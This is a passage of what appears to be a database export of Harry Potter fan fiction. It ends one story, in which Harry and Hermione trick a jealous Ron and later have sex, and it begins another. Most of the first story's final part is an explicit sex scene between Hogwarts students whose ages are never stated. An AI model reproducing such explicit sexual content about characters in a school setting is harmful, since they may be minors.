class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\nyour performance last night Ron, don&#8217;t you remember it.&nbsp; How she was going to be yours, you promised me\nthat she would be.&#8221;&nbsp; Harry sighed, &#8220;I\nknew there was some jealous truth behind those words Ron, I could hear it in\nyour voice.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nglanced down at his feet he felt really bad.&nbsp;\nHe knew that he only wanted Hermione because he thought that Harry would\nnever have her and he would be able to walk away with something, but he was\nwrong.&nbsp;&nbsp; Harry was desperately in love\nwith Hermione, he could see it.&nbsp; Too bad\nthey didn&#8217;t see Hermione as a deceiver and a liar.&nbsp; Harry was so heartbroken.&nbsp; As he heard Harry step closer to Hermione,\nRon lifted his head watching them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;How\ncould you do this?&#8221; Harry said sounding and also looking very sad.&nbsp; &#8220;You have everything I could give.&nbsp; And what, I wasn&#8217;t enough?&#8221; A clear sense of\ndesperation pierced his voice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\nI&#8217;m so confused Harry, I am. I don&#8217;t want to hurt you.&nbsp; But I thought that Ron also loved me\ntoo.&#8221;&nbsp; She said looking down at the\nfloor.&nbsp; &#8220;It&#8217;s hard to choose between the\nboth of you.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What\nwould make you think that Ron loves you the way I do.&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well\nhe wrote this.&#8221; Hermione pulled out a piece of parchment and she began to read\nit out loud.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nstared at it in horror; Hermione had found his plan, but how? Two things popped\ninstantly into his mind. Fred and George, they were the only ones to have known\nabout his plan.&nbsp; He was going to kill\nthem.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Is\nthere something you want to explain to us Ron?&#8221; Hermione said as she held the\npaper out for Ron to take.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ooh\nthis dumb thing, well I&#8230;I uh.&#8221; Ron couldn&#8217;t think of anything to say.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;How\nabout what in the hell possessed you to write such a thing?&#8221; Harry asked in\nanger.&nbsp; &#8220;Hermione is our friend; she\ndeserves much more respect then this.&#8221;&nbsp;\nHe crumpled the parchment and tossed it to the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Respect?&#8221;\nRon bellowed, he couldn&#8217;t believe this, just a second ago they were in a heated\nargument and now Harry demands respect for his betraying girlfriend. &#8220;How can\nyou even think about respecting her when she doesn&#8217;t even respect you!&#8221; He\nshouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nsighed, &#8220;Ron, wake up.&nbsp; That was an\nact.&nbsp; I knew Harry was in here, he knew\nwhat I was planning to do.&#8221; She was glaring at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You&#8230;you\ntwo tricked me!&#8221; Ron shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Not\nanymore than what you tried to do to me!&#8221; Hermione shouted back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nglared. &#8220;But this is different.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;How\nis it different?&#8221; Hermione threw her arms up in the air; &#8220;You tried to trick me\ninto bed.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yeah\nwell you would have fallen for it, if it weren&#8217;t for Fred and George messing up\nmy whole plan.&#8221; Ron blurted out without&nbsp;&nbsp;\neven thinking, but it was too late her already saw the flames erupt in\nher eyes.&nbsp; Her fist shot forward and\nbashed him hard in the stomach. He bent over clutching his aching tummy. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ron\nyou are horrible.&#8221; Hermione spat.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\nknow&#8230;I know.&#8221; He breathed out and sat down on his bed.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nshook her head with disappointment as did Harry.&nbsp; &#8220;Come on Harry let&#8217;s go.&#8221; She said her voice\nshaking with the tears that were threatening to form.&nbsp; They headed for the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Wait\nHarry, Hermione, please.&#8221; Ron gasped out still in pain. They turned around\ngiving him a&#8212;what&#8212;do&#8212;you&#8212;want&#8212;now look. Ron stood and approached them.&nbsp; &#8220;I&#8217;m sorry you guys, I&#8217;m sorry about the\nlist, I&#8217;m sorry that I&#8217;ve been behaving like an ass.&nbsp; It&#8217;s just I was blaming Harry for everything\nthat went wrong with my life.&nbsp; I just\nthought that&#8230;well I don&#8217;t know what I was thinking.&#8221;&nbsp; Ron took a breath, &#8220;I wrote this list at the\nbeginning of summer before you two were even invited here, but I was wrong to\ndo that, you are right Harry.&nbsp; Hermione\ndeserves respect and I certainly wasn&#8217;t thinking of respecting her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ron,\nwhat you did was very wrong.&nbsp; Trying to\ntrick me. If I would have fallen for you, it wasn&#8217;t going to be because of some\nsilly list and a plan.&#8221; Hermione said, with a bit more patience in her voice\nthis time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;But\nwhy does everything good happen to Harry?&#8221; Ron glanced at the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nfelt bad; Ron saw all the good things that happened to him. None of the\nbad.&nbsp; He had troubles just like everyone\nelse.&nbsp; He wasn&#8217;t perfect, but here Ron\nthinks that he is perfect.&nbsp; He understood\nwhy Ron wrote the plan list.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Good\nthings happen to you too Ron, you are just too blind with jealousy to notice\nthem.&#8221; Hermione answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\nlike what?&#8221; Ron sat down on the side of his bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nand Hermione sat next to him, Ron in between them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well\nI never wanted everyone that you liked Ron.&#8221; Harry said. &#8220;There were a few that\nliked you and not me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Really?&#8221;\nRon lifted his head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\nknow for a fact that Susan from Hufflepuff had a crush on you, well last year\nanyway.&#8221; Hermione said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well\nwhy didn&#8217;t I know about this?&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Because\nyou were angry that I was dating Lavender.&#8221; Harry replied, &#8220;You didn&#8217;t even\nreally like Lavender.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nnodded, it was true although he couldn&#8217;t say that he hadn&#8217;t been attracted to\nLavender, but he certainly wasn&#8217;t really interested in her until he heard that\nHarry was interested in her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\nam really sorry Hermione.&#8221; Ron said to Hermione and then he turned to\nHarry.&nbsp; &#8220;Harry, about last night? I was\njust really angry and I said and did some things I clearly didn&#8217;t mean.&nbsp; I hope you two can find someway to forgive\nme, I was out of line, way out of line.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nslapped him on the back, &#8220;I really would have beat the crap out of you if I had\ndone what you said and fought you Ron.&nbsp;\nThat proves how good a friend I am to you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Well\nI don&#8217;t know, Hermione here throws a pretty good punch herself.&#8221; He patted his\nstomach.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You\ndeserved that.&#8221; Hermione said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\nknow I did, and it&#8217;s not everyday I agree with anything you say Hermione.&#8221; Ron\nchuckled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Just\ndon&#8217;t ever do anything like that again.&#8221; Hermione said very seriously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I\nwon&#8217;t I promise.&#8221; Ron said solemnly and both of Hermione&#8217;s arms were around\nhim, and she was holding him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;You\nwill always be my friend Ron.&#8221; She spoke softly.&nbsp; &#8220;No matter what stupid things you do.&#8221; She\nadded slyly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Ron\nlaughed to himself; he had finally gotten his hug.&nbsp; The one he was supposed to get back when\nHermione first arrived.&nbsp;&nbsp; He pulled out\nof her arms and stood.&nbsp; &#8220;I&#8217;m going down\nstairs and talk to my brothers; they have some serious explaining to do\nthemselves.&#8221; Ron left his room.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;So\ndo you think he&#8217;ll be okay?&#8221; Hermione asked looking through the open door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yeah,\nhe&#8217;ll be alright.&#8221; Harry smiled and stood.&nbsp;\nHe went to the door and closed it, leaning against it.&nbsp; &#8220;I must say that was a very convincing\nperformance with Ron.&#8221; Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nalso stood. &#8220;Well mum said I would make a brilliant actress.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Yes\nyou would.&nbsp; For a second there I thought\nit was true, you were that convincing.&#8221;&nbsp;\nHarry said and he stepped closer to her.&nbsp;\n&#8220;And this is a really nice added touch to your performance.&#8221; He lifted\nhis hand to her silk robe and lightly touched her shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\nthis silly old thing,&#8221; Hermione innocently looked towards the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">His\narms went around her and pulled her to him and Hermione looked up at him, she\npressed her lips softly against his in a sweet kiss, his hands traveled up and\ndown her back, he did not feel a brassier strap through the silk, which meant\nshe wasn&#8217;t wearing one.&nbsp; Harry pulled\nback, and looked at her curiously.&nbsp; He\nopened the lapels of her robe and saw her bare shoulders.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nleaned in close to his ear, &#8220;Yes it is exactly what you are thinking.&nbsp; I am completely naked under this robe&#8221;.&nbsp; She smiled hearing his groan of frustration.&nbsp; Hermione pulled back and tried to turn away,\nbut he caught her before she could and spun her around to face him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nwasn&#8217;t letting her get away that easily; his mouth came down on hers in a\ncrushing passionate kiss.&nbsp; Hermione melted\ninto his warmth as he kissed her, she felt a tugging at her waist and a moment\nlater her robe was open and pushed off of her and tossed to the floor.&nbsp; Harry glanced about her, his finger traced\nher cheek and he leaned in kissing her again.&nbsp;\nHis arms went around her, feeling her soft skin.&nbsp; He backed her over to his bed still locked in\ntheir kiss, his tongue slowly tasting the inside of her mouth, coming together\nhers in heated need.&nbsp; Hermione helped him\nshed the rest of his clothing and they fell together on the bed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nlooked down at her, she was smiling and her hand lifted to his cheek, where she\ncaressed the side of his face tenderly.&nbsp;\nShe so loved him; he could see it in her eyes.&nbsp; He was sure lucky that he had her in his\nlife.&nbsp; &#8220;I love you.&#8221; He said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Her\neyes filled with tears, &#8220;I know. I love you too.&#8221; Hermione smiled, though the\ntears were falling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Hey,\nhey what&#8217;s the matter?&#8221; Harry wondered if he said anything wrong.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Nothing,\nI&#8217;m just really happy.&#8221; She wiped her eyes with a slender finger.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nnodded; he searched her eyes before he lowered his lips to hers.&nbsp; Hermione&#8217;s arms went around his neck as she\npulled him more against her while their kiss deepened.&nbsp; His fingers wandering lower lightly brushed\nthe side of her breast, and she moaned softly enjoying the feel of his\nfingers.&nbsp; Hermione tightened her hold on\nhim.&nbsp; Harry&#8217;s mouth moved from her mouth\ndown her throat where she gave of a little sigh of approval when she felt his\nmouth close over her already sensitive nipple, and she was making soft,\nwhimpering sounds at the sensations he was creating in her.&nbsp; Her fingers intertwined in his hair, pushing\nhis head harder against her.&nbsp; She cried\nout when his other hand was between her thighs, his fingers thrusting into the\nsilky softness of her body.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Her\nsounds were beautiful, as Harry continued bringing her higher to the heavens.\nThe heat was building, Hermione couldn&#8217;t think and she didn&#8217;t want to.&nbsp; She just wanted to feel every thing, and\nloved every minute of it.&nbsp; Her hand\nclosed around his erection and she heard him groan and pant, causing a smile to\nappear on her face.&nbsp; She loved hearing\nhis reactions to her.&nbsp; She wanted him to\nfeel just as good as he was making her feel. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nwas breathing hard as Hermione aroused him; he felt her lips on his neck,\nshoulder and back against his lips, nudging his mouth open.&nbsp; He gave in to what she wanted.&nbsp; His kiss was hard and powerful, his tongue\nthrusting in and out of her mouth.&nbsp; He\nmoved his hand from between her thighs to her hip where he caressed her skin\nwith gentle fingers. Harry felt her legs wrap around his waist, which\npositioned him against her entrance.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Harry&#8230;Now&#8230;Please.&#8221;\nShe practically begged.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry&#8217;s\nhands where on her hot skin as he felt the tingles run through his body hearing\nthe pure desire for him in her voice.&nbsp; In\none swift move he pressed into her hot, tight body.&nbsp; They both gasped in amazement at the same\ntime.&nbsp; No matter how many times they have\ndone this, it was still an astonishing feeling.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">******</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Ron!\nRon, please let us down!&#8221; Fred screamed down at Ron from up in the air.&nbsp; There were fairies flying furiously around\nFred and George&#8217;s feet keeping the pair suspended in the air.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;He&#8217;s\ngoing to pay for this.&#8221; George said threateningly about Ron to Fred.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\nI don&#8217;t think so dear brothers.&#8221; Ron shouted up at them and sat down leaning up\nagainst the tree.&nbsp; Ron signaled to\nanother set of fairies and they darted up sprinkling Fred and George with a bit\nof pink and green sparkly dust, they immediately broke out into Elvis and\nstarted singing &#8216;The King&#8217;s&#8217; greatest hits while the twins were turning a\nseries of rainbow colors.&nbsp; He smiled\nnodding his head slowly.&nbsp; Oh this was\nonly the beginning of his revenge for the pranks his brothers pulled on him\nthis summer.&nbsp; He figured out the his brothers\noffered the fairies honey to help them, so he added strawberries and chocolate\nas well as the honey, the fairies couldn&#8217;t pass that up, he was having the\nfairies do the exact same things that they did to him.&nbsp; He lifted a green paint ball in his hand and\nhanded it to a fairy who was giggling.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">The\nfairy took the paint ball and smacked it into Fred&#8217;s face another fairy did the\nsame thing to George&#8217;s face.&nbsp; &#8220;Now whose\nfaces are green?&#8221; He shouted up in laughter.&nbsp;\nHe folded his arms behind his head and smirking slyly, almost evilly\nwatching his brothers being tortured by fairies.&nbsp; They looked ready to kill him, it was\nperfect.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:center;text-indent:.25in;background:white" align="center">******</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nmoved in and out of her, his breathing increased as well as the beating of his\nheart.&nbsp; God she felt good, words couldn&#8217;t\nexplain how good she felt to him. Her body closing around him snugly, the\nrippling tingly feelings constantly running through him, the want and need to\nfill her with everything he was and even more.&nbsp;\nHe would give her the moon if she asked for it. Harry relished in her\nvoice moaning and gasping his name over and over again, it caused him to give\nher more of what she wanted, her pushing back against him so eagerly, meeting\nhis rhythm just as wildly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She\nwanted it, oh God she wanted it so bad.&nbsp;\nHermione felt a tightening of her own body around him, hugging him\ntightly like a soft glove.&nbsp; Her breathing\nwas harsh and her chest tightened as she neared the height of her desire.&nbsp; She felt him thrusting hard into her soft\nbody, and her voice echoed in the room with the sounds of her immense\npleasure.&nbsp; Hermione wrapped her legs\ntighter around him, wanting him deeper inside her.&nbsp; She felt him shift and move giving her\nexactly what she wanted and most desperately needed.&nbsp; Her heart pounded fiercely within her chest\nas he plunged harder and faster, going as much as he possibly could.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Her\narms tightened hard around him and he was pulled even more against her, as she\nfelt the rippling waves of her release wash over in.&nbsp; She had buried her face in between his neck\nand shoulder crying out at the same time as Harry did.&nbsp; The stars were sure bright even though it\nwasn&#8217;t night.&nbsp; The feelings of utter\ncompleteness swept over surrounding the both of them in its glorious warmth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Hermione\nfelt Harry&#8217;s slowing heart beating against her chest, it was a wonderful\nfeeling.&nbsp; She stroked her fingers up and\ndown his back soothingly and lingered about his dark hair for a moment before\ncontinuing to make him feel nice and relaxed while they both calmed down.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Harry\nlifted his head a bit staring down into her eyes, which shone with a brilliant\nlight. She had lifted her fingers to his cheek and traced it a bit.&nbsp; Boy what a summer it has been, Hermione was\nhere and she was everything he was looking for, everything that he needed.&nbsp; He did not want to think what life would be\nlike without her.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;What\na summer aye Harry.&#8221; Hermione said softly with a smile, she was tired.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;That&#8217;s\nexactly what I was thinking.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;I&#8217;m\nrelieved that it didn&#8217;t get too hot this year, how about you?&#8221; Hermione said as\nshe felt Harry move off of her and lay next to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&#8220;Oh\nI wouldn&#8217;t necessarily say that Hermione,&#8221; He gazed into her eyes, &#8220;I thought\nthis summer was very hot indeed.&#8221; He teased.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">She\ngrinned and Harry captured her mouth with his.&nbsp;\nHermione enjoyed Harry&#8217;s lips on hers as she melted against him.&nbsp; She sighed into his mouth as he softly kissed\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">&nbsp;Harry pulled back so he could look at her Ah\nyes. Harry thought it was a hot summer.&nbsp;\nHe grinned wickedly and quickly grabbed her; he pulled her over him so\nthat she was straddling her hips.&nbsp; Harry\nsaw her smiling above him as she leaned in, kissing him hard.&nbsp; Oh yes it has definitely been one hot summer,\nand he hoped the summer would continue to be just as hot. And it was</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">======</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Well\nthat&#8217;s it for One Hot Summer, I hope you enjoyed it.&nbsp; There is not a sequel planned, because well I\ncan&#8217;t think of one.&nbsp; LOL Take care and I\nhope your summer is just as hot as Harry and Hermione&#8217;s is. :-)&nbsp; Remember read and review.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in;background:white">Later\nBabes,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nRyoko</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(15, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp; No way are any of the original HP characters mine they totally\nbelong to J.K. Rowlings.&nbsp; You are nuts to even think that I own this,\nwhere do you people get your information. Honestly :)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">All That She Wants</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">Chapter 1&#8212;Once Upon A\nDream</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry Potter along with his good\nfriend and occasional fling Blaise Zabini stepped\naboard the Hogwarts Express,&nbsp;\nthey were chatting about their summer, Blaise had spent her\nsummer in the South of France and she was sharing all the fun she had there\nwith her friend.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Then I told him he should owl me\nwhenever he wanted.&#8221; She said with a smile while flipping her long copper\ncolored hair behind her.&nbsp; Her finely\nmanicured fingernails traced the soft silk of her shirt.&nbsp; &#8220;You don&#8217;t think I was too forward did you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled, &#8220;Not at all, I think\nyou did the right thing. Usually first instincts are the right ones.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise nodded, &#8220;I&#8217;m sorry I didn&#8217;t\nowl you very much.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ah, it&#8217;s fine.&nbsp; You were having a good time don&#8217;t worry about\nit too much.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Tell me who&#8217;s on the famous Harry\nPotter date list this year?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry sighed with a smile, &#8220;well\nanyone from fifth year and up,&nbsp; I have to wait and see who will fall\nfor my charm this year.&#8221; He said with a flashy grin of his perfect white teeth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh who wouldn&#8217;t fall for your\ncharm, you are quite a guy.&#8221; She said with a smile.&nbsp; &#8220;So how does it feel to be Head Boy? You get\nyour own dorm, room and everything.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I think it&#8217;s gonna be really\ngreat.&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They found the Head Boy and Girl\ncompartment. A group of young girls passed by the open compartment and looked\nin, they giggled and waved.&nbsp; Harry\nsmiled, and waved back and the girls took off laughing and giggling to go tell\ntheir other friends that Harry Potter waved and smiled at them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Blaise shook her head with\namusement, &#8220;You are quite a guy to humor little girls like that Harry.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry smiled sincerely. &#8220;Well I am\na nice guy you know, sure most of my dates end with togetherness.&nbsp; But I&#8217;m still 